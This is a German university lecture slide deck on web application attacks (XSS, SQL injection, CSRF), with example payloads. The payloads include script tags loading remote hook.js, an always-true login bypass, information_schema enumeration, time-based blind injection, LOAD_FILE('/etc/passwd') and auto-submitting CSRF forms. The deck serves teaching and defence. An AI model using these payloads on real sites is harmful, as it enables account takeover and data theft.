Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik „Die Webseite als Eintrittspunkt“ Welche Gefahren gehen vom Firmenauftritt im Internet aus? Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Bekannt gewordene Schwachstellen & Angriffe Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Bekannt gewordene Schwachstellen & Angriffe Quelle: http://www.vulnerability-db.com/dev/index.php/2014/02/06/german-telekom-bug-bounty-3x-remote-vulnerabilities/ Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Bekannt gewordene Schwachstellen & Angriffe Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Bekannt gewordene Schwachstellen & Angriffe Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Vergleich Web-App vs. Applikation Web-Applikation (PHP, JSP, ASP, Ruby, …) Anwendung (C,C++, VB, C#, Delphi, …) • Prinzipiell weltweit abrufbar Häufig Installation notwendig • • Verwenden von standardisierten Protokollen • In der Regel nur lokal verfügbar • Häufig sehr typische Entwurfs-Pattern (MVC) • Gefundene Schwachstelle nicht sofort ausnutzbar • Zustandslos → Session-Management wird notwendig • Zustandsbehaftet • • Kommunikation lässt sich mit Proxy leicht untersuchen und verändern Kommunikationsflüsse für Anwender nicht ersichtlich Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Webanwendungen • Komplexe Architekturen, basierend auf mehreren Plattformen und Protokollen Web Anwendung HTTP Network Browser Mobil API Client WebServer Apache, IIS PresentaEon Layer Medien AuGereitung von Daten für Client Anwendungsserver Kapselt die Anwendungs Logic AuthenEfizierung, Session Management Erstellt Inhalte im User Context Datenbank Server Liefert Inhalte auf Anfrage des Anwendungsserver z.B. User InformaEonen, Bestände ■ Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Webanwendungen ● ● ● Browser Mobil API Kommunikation i.d.R. über HTTP Hauptsächlich Austausch von Web-Inhalten (HTML, Bilder, CSS) Vollständig unter der Kontrolle des Clients Client WebServer Apache, IIS PresentaEon Layer Medien AuGereitung von Daten für Client Anwendungsserver Kapselt die Anwendungs Logic AuthenEfizierung, Session Management Erstellt Inhalte im User Context Datenbank Server Liefert Inhalte auf Anfrage des Anwendungsserver z.B. User InformaEonen, Bestände ■ Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Webanwendungen Internet Intranet Fire wall Client Port 80/443 Fire wall Datenbank Webserver SAP SMB Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Auftreten von Schwachstellen Plaform AdministraEon Bekannte Schwachstellen, z.B. Exploit für Apache Schwache Verschlüsselung z.B. bei älterer Version von IIS AdministraEve FunkEonen nicht ausreichend geschützt, z.B. „versteckt“ Fehlerhade KonfiguraEon UnnöEge FunkEonen akEviert → z.B. Server Stats Anwendung InjecEon → Cookies, SQL, XSS, CSRF, … Parameter-­‐ManipulaEon Brute Force Fehlende Validierung Session Management Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Gründe für Angriffe Quelle: http://hackmageddon.com/2013-cyber-attacks-statistics/ Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Verwendete Angriffstechniken Quelle: http://paulsparrows.files.wordpress.com/2013/09/august-2013-techniques.png?w=538&h=279 Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik OWASP Best Practice Guides J2EE Windows Communication Foundation (WCF) Encryption SSL SDL Authentication Virtual Patching Best Practices Session Management Web Application Firewalls Application Code Review OWASP Good Component Practices Project Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik OWASP ZED Attack Proxy Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik OWASP Top 10 Zusammenfassung der Schwachstellen, die am häufigsten bei der Überprüfung von Webseiten erkannt wurden. Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik CWE/SANS Top 25 Quelle:http://cwe.mitre.org/top25/ Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Definition von Cross Site Scripting (XSS) XSS-Schwachstellen treten auf, wenn eine Anwendung nicht vertrauenswürdige Daten entgegen nimmt und ohne entsprechende Validierung und Kodierung an einen Webbrowser sendet. XSS erlaubt es einem Angreifer, Scriptcode im Browser eines Opfers auszuführen und somit Benutzersitzungen zu übernehmen, Seiteninhalte zu verändern oder den Benutzer auf bösartige Seiten umzuleiten. Quelle: hhps://www.owasp.org/images/b/b8/OWASPTop10_DE_Version_1_0.pdf Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Unterscheidungen von XSS XSS wird je nach Stelle der Infektion bzw. Persistenz unterschieden: • Reflektiert oder nicht-persistent → sehr häufig / einfach • Persistent oder beständig → für Angriffe wünschenswert • DOM-basiert oder lokal Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Quelle: hhps://isc.sans.edu/diary.html?storyid=9130 Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Häufige Beispiele für XSS • • JavaScript-Code alert Eingebunden mit script-Element • • Harmlos, dient zur Veranschaulichung https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet <script type="text/javascript">alert("XSS");</script> • Nachladen von Java Script aus externen Quellen <script src="http://bit.ly/1mHqD70" /> Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Reflektiertes XSS • • Nicht-persistentes oder reflektiertes Cross Site Scripting Benutzereingabe wird vom Server direkt zurückgeliefert • • Nur temporär, nicht gespeichert → ohne manipulierte URL oder Formular nicht enthalten Beispiel: Suche auf einer Webseite Aufruf: http://example.com/?suche=Suchbegriff Server (PHP): echo “<p>Sie suchten nach: $_GET[‘suche’]</p>”; Ausgabe: <p>Sie suchten nach: Suchbegriff</p> Manipuliert: http://example.com/?suche=<script type="text/ javascript">alert("XSS")</script> Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Persistentes XSS • Schadcode wird auf dem Webserver gespeichert – bei jeder passenden Anfrage ausgeliefert • Beispiel: Daten werden in einer Datenbank gespeichert und “irgendwann” wieder ausgegeben – Gästebuch auf einer Webseite – Kommentare in Foren – Zuletzt angemeldete/neu registrierte Benutzer… Manipulierte Nachricht: Eine wirklich sehr informative Website!<script type="text/javascript">alert("XSS")</script> Konkreter Angriff: Eine wirklich sehr informative Website!<script src="http://pb.c.ouk/hook.js" /> Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik DOM basiertes XSS • • Nur Clientseitig Beispiel: JavaScript wird zum Suchen, Markieren oder Selektieren in bereits geladener Seite verwendet. Bild-Quelle: http://www.it-visions.de/DOTNET/ASPNET2/Artikel/ASPNET_AJAX_Einfuehrung.aspx Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Zusammenfassung der verschiedenen XSS-Arten Reflektiertes XSS Persistentes XSS DOM-based XSS Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik SQL-Injections SQLI bezeichnen die Vermischung von SQL-Abfragen und von Daten, die mit den Queries kombiniert werden sollen. Durch die Vermischung ändert sich der Sinn der Abfrage. Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Structured Query Language - einfache Abfrage SELECT FROM WHERE id, name, mail, gender Accounts id = 41; Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Login-Anfrage per PHP (vereinfacht) $pwdFromUserInput = $_POST[“password”]; Eingegebenes Passwort aus POST-Variable auslesen. $query = “Select * from accounts where pwd = md5(‘$pwdFromUserInput’);”; Datenbank-Abfrage definieren, die Benutzer anhand seines verhashten Kennworts zurück gibt. $result = mysql_query($query); Anfrage an Datenbank abschicken. Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Login-Anfrage per PHP (vereinfacht) Benutzer hat als Passwort „Geheim12345!“ eingegeben: $pwdFromUserInput = $_POST[“password”]; $query = “Select * from accounts where pwd = md5(‘$pwdFromUserInput’);”; $result = mysql_query($query); Inhalt der Variablen Query: Select * from accounts where pwd = md5(‘Geheim12345!’); Nutzerdaten sind in $query deutlich zu erkennen. Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik SQL Injection durch immer wahre Aussage Benutzer hat als Passwort „xxx‘) or (‘1’ = ‘1” eingegeben: $pwdFromUserInput = $_POST[“password”]; $query = “Select * from accounts where pwd = md5(‘$pwdFromUserInput’);”; $result = mysql_query($query); Inhalt der Variablen Query: Select * from accounts where pwd = md5(‘xxx’) or (‘1’ = ‘1’); Grenzen zwischen Nutzdaten und query verschwimmen. Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Öffentliche Fehlermeldungen liefern Hilfe für SQL Injections Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Durch SQL-Abfragen lässt sich Struktur der Datenbank rekonstruieren Durch einfache SQL-Abfragen lassen sich die Struktur der Datenbank, der Tabellen, die angemeldeten Benutzer und vieles mehr herausfinden. Alle Tabellen incl. Details in der Datenbank anzeigen: SELECT * FROM informaEon_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘informaEon_schema’ Alle Spalten einer Tabelle anzeigen: SELECT table_schema, table_name, column_name FROM informaEon_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘informaEon_schema’ ■ Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Gezielte Suche nach Tabellen mit Passwörtern Auch komplexere Abfragen per SQL-­‐InjecEon sind möglich. Welche Tabelle besitzt eine Spalte deren name "pass" enthält? (Passwort, password, passwd) SELECT table_schema, table_name FROM informaEon_schema.columns WHERE column_name LIKE '%pass%'; Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Blind SQL-Injections ermöglichen Datenübertragung ohne Darstellung am Bildschirm Durch Blind InjecEon kann der Benutzer InformaEonen aus der Datenbank abrufen, obwohl diese nicht am Bildschirm dargestellt werden: Wenn die driMe Stelle des Passworts ein "a" ist wird die weitere Bearbeitung um 5 Sekunden pausiert – wenn nicht wird sie ohne Zeitverzögerung fortgesetzt. SELECT if (substr(password 3, 1) == 'a', SLEEP(5), '') FROM Accounts WHERE ID=324345; Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik SQL-Injection mit Zugriff auf Dateisystem Durch falsch gesetzte BenutzerberechEgungen sind auch Zugriffe auf das Dateisystem des Servers möglich! Dateien des Servers lesen: SELECT '1' FROM Accounts WHERE 1=2 UNION ALL SELECT LOAD_FILE('/etc/passwd') Dateien des Servers schreiben: SELECT 'pause' FROM dual INTO dumpfile 'C:\Autoexec.bat'; Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik XKCD ist super! :) Quelle: hhp://xkcd.com/327/ Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik SQL-Injection Tools Spezifische, freie Tools um SQL-Injections zu erproben: ❖ sqlmap (http://sqlmap.org/) ❖ SQL Inject Me (Firefox-Plugin, https://addons.mozilla.org/de/firefox/addon/sql-inject-me/) Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Cross Site Request Forgery Bei CSRF versucht ein Angreifer einen legitimen Benutzer dazu zu veranlassen, ungewollt eine Aktion in seinem (Berechtigungs-) Kontext auszuführen. Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Cross Site Request Forgery inject request POST/GET -Request Response Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Demo - HTML-Webfrontend für Cross Site Request Forgery Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Demo - PHP-Backend für Cross Site Request Forgery Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Demo - Cross Site Request Forgery - Angriff mit erwarteten POSTParametern <script> function SendAttack () { form.email = "[email protected]"; // send to profile.php form.submit(); } </script> <body onload="javascript:SendAttack();"> <form action="http://victim.example.com/profile.php" id="form" method="post"> <input type="hidden" name="firstname" value="Funny"> <input type="hidden" name="lastname" value="Joke"> <input type="hidden" name="email"> </form> </body> Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Demo - Cross Site Request Forgery - Angriff mit erwarteten GETParametern <img src=” http://victim.example.com/profile.php?action=delete&userID=2231&confirmed=true /> Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Hochschule Augsburg | HSASec – Forschungsgruppe IT-­‐Security + Forensik Noch Fragen?